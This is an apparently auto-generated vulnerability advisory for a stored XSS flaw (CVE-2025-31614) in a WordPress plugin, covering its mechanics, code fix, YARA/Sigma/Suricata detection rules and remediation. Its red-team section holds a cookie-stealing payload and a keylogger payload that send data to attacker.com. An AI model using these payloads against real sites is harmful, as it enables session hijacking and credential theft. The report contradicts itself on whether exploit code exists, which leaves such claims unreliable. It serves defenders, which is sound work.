CVE-2025-31614
Executive Summary
CVE-2025-31614 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Terms Before Download WordPress plugin (slug: terms-before-download) by Hiroprot, up to and including version 1.0.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the plugin’s settings or front-end forms. This stored XSS can be triggered when an administrator or user views the affected page, leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network access, low attack complexity, and required user interaction. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manual upload are affected. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported, but the lack of a patch increases the risk of exploitation in the wild.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to inject payload.
- User Interaction (UI): Required (R) – Victim must visit the compromised page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Partial modification of content.
- Availability (A): Low (L) – Minor disruption possible.
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability exists in the plugin’s input handling for the “Terms Before Download” feature. The plugin likely stores user-defined terms or download conditions in the WordPress database without proper sanitization or output encoding. When an administrator or visitor views the page containing these terms (e.g., via a shortcode or template), the unsanitized input is rendered as HTML/JavaScript, enabling stored XSS.
Attack Flow:
- An attacker submits a crafted payload (e.g.,
<script>alert('XSS')</script>) through a vulnerable input field (e.g., the terms text area or a custom field). - The payload is stored in the database.
- When a victim (admin or user) loads the page displaying the terms, the script executes in their browser context.
- The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.
Root Cause: The plugin fails to use WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses()) or output encoding when rendering user-supplied data.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (PHP):
// terms-before-download.php (simplified)
function display_terms() {
$terms = get_option('terms_before_download_text');
echo "<div class='terms'>" . $terms . "</div>"; // Direct output without escaping
}
Patched Code (Hypothetical):
function display_terms() {
$terms = get_option('terms_before_download_text');
echo "<div class='terms'>" . esc_html($terms) . "</div>"; // Escaped output
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress instance with the plugin installed and activated.
- Access to a page where the plugin stores user input (e.g., admin settings or front-end form).
Steps:
- Identify the vulnerable input field (e.g., the “Terms Text” field in the plugin settings).
- Inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings. The payload is now stored.
- Craft a link or social engineering lure to make an admin visit the affected page.
- When the admin loads the page, the script executes, exfiltrating their session cookie.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
new Image().src = 'https://attacker.com/log?key=' + e.key;
};
</script>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual input patterns in plugin settings (e.g.,
<script>tags). - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Review server logs for requests to external domains from the WordPress admin area.
Mitigation:
- Disable or remove the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None available; plugin files may vary by version)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Suspicious
GETorPOSTparameters containing<script>tags in plugin settings.
- Log Entries:
- WordPress debug log entries showing unescaped output in
terms-before-downloadcontext. - Web server logs with
%3Cscript%3E(URL-encoded<script>) in request URIs.
- WordPress debug log entries showing unescaped output in
Detection Engineering
YARA Rule
rule CVE_2025_31614_Stored_XSS {
meta:
description = "Detects stored XSS payloads targeting Terms Before Download plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-31614"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$plugin_ref = "terms-before-download"
condition:
$plugin_ref and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in Terms Before Download Plugin
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in WordPress plugin settings
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: 'wp-admin/options.php'
cs-uri-query|contains: 'terms_before_download'
cs-uri-query|re: '<script[^>]*>.*?</script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in terms (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31614 Stored XSS Payload in Terms Before Download"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/options.php"; http_uri; content:"terms_before_download"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete
terms-before-downloadfrom the WordPress admin panel. - Scan for compromise – Use a security scanner (e.g., Wordfence, Sucuri) to check for injected scripts.
- Rotate credentials – Change all admin passwords and API keys if compromise is suspected.
Long-Term Fix:
- Monitor the plugin’s repository for an official patch. If none appears, consider forking the plugin and applying the escaping fix shown in the “Vulnerable vs. Patched Code” section.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All intelligence is based on publicly available data and should be verified before use.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.